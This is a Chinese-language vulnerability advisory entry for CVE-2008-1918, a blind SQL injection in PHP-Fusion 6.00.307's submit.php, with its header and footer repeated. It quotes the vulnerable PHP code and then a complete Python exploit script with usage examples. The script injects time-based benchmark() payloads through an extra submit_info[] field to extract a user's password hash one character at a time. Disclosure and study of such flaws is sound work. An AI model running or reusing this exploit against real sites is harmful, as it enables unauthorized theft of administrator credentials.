PHP-Fusion submit.php文件SQL注入漏洞
添加时间:
2008-10-04
系统编号:
WAVDB-01154
BugCVE: CVE-2008-1918
BUGTRAQ: 28855
影响版本:
PHP-Fusion 6.00.307
程序介绍:
漏洞利用:
解决方案:
厂商补丁:
PHP-Fusion
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://sourceforge.net/projects/php-fusion/
信息来源:
<*来源:The:Paradox
链接:http://secunia.com/advisories/29930/
*>
2008-10-04
系统编号:
WAVDB-01154
BugCVE: CVE-2008-1918
BUGTRAQ: 28855
影响版本:
PHP-Fusion 6.00.307
程序介绍:
PHP-Fusion是一款基于PHP的内容管理系统。
漏洞分析:
PHP-Fusion的submit.php文件没有正确地过滤对submit_info[]参数的输入便在SQL查询中使用,远程攻击者可能利用此漏洞执行SQL注入攻击。
相关代码:
- 1. if ($stype == "l") {
- 2.
- 3. if (isset($_POST['submit_link'])) {
- 4.
- 5. if ($_POST['link_name'] != "" && $_POST['link_url'] != "" && $_POST['link_description'] != "") {
- 6. $submit_info['link_category'] = stripinput($_POST['link_category']);
- 7. $submit_info['link_name'] = stripinput($_POST['link_name']);
- 8. $submit_info['link_url'] = stripinput($_POST['link_url']);
- 9. $submit_info['link_description'] = stripinput($_POST['link_description']);
- 10. $result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES ('l', '".$userdata['user_id']."', '".time()."', '".serialize($submit_info)."')");
sql查询中有两个变量:$userdata['user_id']和序列化数组$submit_info。如果通过gpc变量设置了submit_info[]数组中值的话,就会未经stripinput检查在序列化数组中使用,导致Sql注入攻击。
成功攻击允许攻击者检索管理员口令哈希,但要求有效的用户凭据、知道数据库表格前缀,且禁用了magic_quotes_gpc。
漏洞利用:
- #!/usr/bin/python
- """
- #=================================================================================================#
- # ____ __________ __ ____ __ #
- # /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
- # | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
- # | | | \ | |/ \ \___| | /_____/ | || | #
- # |___|___| /\__| /______ /\___ >__| |___||__| #
- # \/\______| \/ \/ #
- #=================================================================================================#
- # This was a priv8 Exploit #
- #=================================================================================================#
- # PHP-Fusion 6.00.307 #
- # And Probably All Other Versions #
- # Blind Sql Injection Vulnerability #
- # Benchmark Method #
- #====================================#===========#====================================#===========#
- # Server Configuration Requirements # # Some Information # #
- #====================================# #====================================# #
- # # #
- # magic_quotes_gpc = 0 # Vendor: php-fusion.co.uk #
- # # Author: The:Paradox #
- #================================================# Severity: Moderately Critical #
- # # #
- # Oh wow no-content space! Enjoy it! # Proud To Be Italian. #
- # # #
- #====================================#===========#================================================#
- # Proof Of Concept / Bug Explanation # #
- #====================================# #
- # PHP-Fusion presents a critical vulnerability in submit.php page. Let's see source: #
- #=================================================================================================#
- [Submit.php]
- 1. if ($stype == "l") {
- 2.
- 3. if (isset($_POST['submit_link'])) {
- 4.
- 5. if ($_POST['link_name'] != "" && $_POST['link_url'] != "" && $_POST['link_description'] != "") {
- 6. $submit_info['link_category'] = stripinput($_POST['link_category']);
- 7. $submit_info['link_name'] = stripinput($_POST['link_name']);
- 8. $submit_info['link_url'] = stripinput($_POST['link_url']);
- 9. $submit_info['link_description'] = stripinput($_POST['link_description']);
- 10. $result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES ('l', '".$userdata['user_id']."', '".time()."', '".serialize($submit_info)."')");
- #=================================================================================================#
- # Look to the sql query. #
- # There are two variables: $userdata['user_id'] and a serialized array $submit_info. #
- # The user_id is an intval value and array values link_category, link_name, link_url and #
- # link_description are correctly cleaned via fusions' stripinput() function. #
- # #
- # All seems pretty cleaned. #
- # But what would happen if we set another value into submit_info[] array via gpc vars? #
- # It will be set in the serialized array, and obvious it will not checked by stripinput. #
- # Sql Injection possibility! #
- # #
- # Let's see: #
- # #
- # Host: 127.0.0.1 #
- # POST PHP-Fusion/submit.php?stype=l #
- # link_category=1 link_name=1 link_url=1 link_description=1 submit_info[paradox]=' submit_link=1 #
- # #
- # It will result in sql error in case of Mq = 0 : #
- # #
- # You have an error in your SQL syntax; check [...] #
- # #
- #=================================================================================================#
- # Normally to make this trick working register_globals = 1 is needed, but in php-fusion uses #
- # extract() to simulate register_globals when it is set to 0. #
- #=================================================================================================#
- # Use this at your own risk. You are responsible for your own deeds. #
- #=================================================================================================#
- # Python Exploit Starts #
- #=================================================================================================#
- """
- from httplib import HTTPConnection
- from urllib import urlencode
- from time import time
- from sys import exit, argv, stdout
- from md5 import new
- print """
- #=================================================================#
- # PHP-Fusion v6.00.307 #
- # And Probably All Other Versions #
- # Blind Sql Injection Vulnerability #
- # Benchmark Method #
- # #
- # Discovered By The:Paradox #
- # #
- # Usage: #
- # ./fusiown [Target] [Path] [ValidId] [ValidPass] [TargetUserid] #
- # #
- # Example: #
- # ./fusiown localhost /phpfusion/ 40 s3cr3t 1 #
- # ./fusiown www.host.org / 791 myp4ssw0rd 1 #
- #=================================================================#
- """
- if len(argv)<=5: exit()
- else: print "[.]Exploit Starting."
- prefix = "fusion_"
- benchmark = "230000000"
- vtime = 6
- port = 80
- target = argv[1]
- path = argv[2]
- cuid = argv[3]
- cpass = argv[4]
- uid = argv[5]
- j=1
- h4sh = ""
- ht = []
- for k in range(48,58):
- ht.append(k)
- for k in range(97,103):
- ht.append(k)
- ht.append(0)
- def calc_md5(p):
- hash = new()
- hash.update(p)
- return hash.hexdigest()
- print "[.]Blind Sql Injection Starts.\n\nHash:"
- while j <= 32:
- for i in ht:
- if i == 0: exit('[-]Exploit Failed.\n')
- start = time()
- conn = HTTPConnection(target,port)
- inj = "' OR (SELECT IF((ASCII(SUBSTRING(user_password," + str(j) + ",1))=" + str(i) + "),benchmark(" + benchmark + ",CHAR(0)),0) FROM " + prefix + "users WHERE user_id=" + uid + "))# BH > WH"
- conn.request("POST", path + "submit.php?stype=l", urlencode({'link_category': '1', 'link_name': '1', 'link_url': '1', 'link_description': '1', 'submit_link' : 'Submit+Link', 'submit_info[cGd0MQ==]' : inj }), {"Accept": "text/plain", "Content-Type" : "application/x-www-form-urlencoded","Cookie": "fusion_user=" + cuid + "." + calc_md5(cpass) + ";"})
- response = conn.getresponse()
- read = response.read()
- if response.status == 404: exit('[-]Error 404. Not Found.')
- now = time()
- if now - start > vtime:
- stdout.write(chr(i))
- stdout.flush()
- h4sh += chr(i)
- j += 1
- break;
- print "\n\n[+]All Done.\n-=Paradox Got This One=-"
解决方案:
厂商补丁:
PHP-Fusion
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://sourceforge.net/projects/php-fusion/
信息来源:
<*来源:The:Paradox
链接:http://secunia.com/advisories/29930/
*>